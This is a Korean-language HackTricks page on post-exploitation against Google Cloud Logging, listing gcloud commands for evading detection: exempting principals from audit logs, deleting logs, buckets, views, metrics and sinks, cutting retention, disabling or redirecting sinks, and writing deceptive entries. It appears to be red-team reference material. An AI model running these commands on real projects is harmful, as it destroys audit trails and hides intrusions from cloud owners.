GCP - Logging Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**로 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

기본 정보

더 많은 정보는 확인하세요:

pageGCP - Logging Enum

모니터링 방해를 위한 다른 방법은 확인하세요:

pageGCP - Monitoring Post Exploitation

기본 로깅

기본적으로 읽기 작업을 수행해도 적발되지 않습니다. 자세한 정보는 로깅 Enum 섹션을 확인하세요.

예외 주체 추가

https://console.cloud.google.com/iam-admin/audit/allserviceshttps://console.cloud.google.com/iam-admin/audit에서 로그를 생성하지 않도록 주체를 추가할 수 있습니다. 공격자는 이를 악용하여 적발을 방지할 수 있습니다.

로그 읽기 - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

로그 작성 - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.update

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

logging.sinks.delete

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
htARTE (HackTricks AWS Red Team Expert)와 함께 **제로부터 영웅까지 AWS 해킹 배우기**!

다른 방법으로 HackTricks를 지원하는 방법:

最終更新